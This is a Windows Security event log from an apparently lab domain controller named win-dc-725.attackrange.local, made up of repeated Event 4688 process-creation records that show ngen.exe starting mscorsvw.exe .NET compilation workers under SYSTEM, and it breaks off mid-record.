-03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254338 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 20c -InterruptEvent 0 -NGENProcess 3d8 -Pipe 244 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254337 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3a8 -InterruptEvent 0 -NGENProcess 22c -Pipe 3f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254336 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3d8 -InterruptEvent 0 -NGENProcess 228 -Pipe 3ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254335 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 22c -Pipe 34c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254334 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1024 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3f0 -InterruptEvent 0 -NGENProcess 228 -Pipe 370 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254351 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 37c -Pipe 3dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254350 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 3d4 -Pipe 334 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254349 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 2f4 -Pipe 3a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254348 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 334 -InterruptEvent 0 -NGENProcess 3cc -Pipe 20c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254347 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 208 -Pipe 248 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254346 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 2f4 -Pipe 24c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254345 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d0 -InterruptEvent 0 -NGENProcess 3a8 -Pipe 3d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254344 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x44c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 2c4 -Pipe 250 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254359 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 0 -NGENProcess 3cc -Pipe 338 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254358 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x298 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 288 -Pipe 36c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254357 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 36c -InterruptEvent 0 -NGENProcess 338 -Pipe 2a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254356 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x58c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 338 -Pipe 3e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254355 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3e8 -InterruptEvent 0 -NGENProcess 2d4 -Pipe 37c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254354 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: 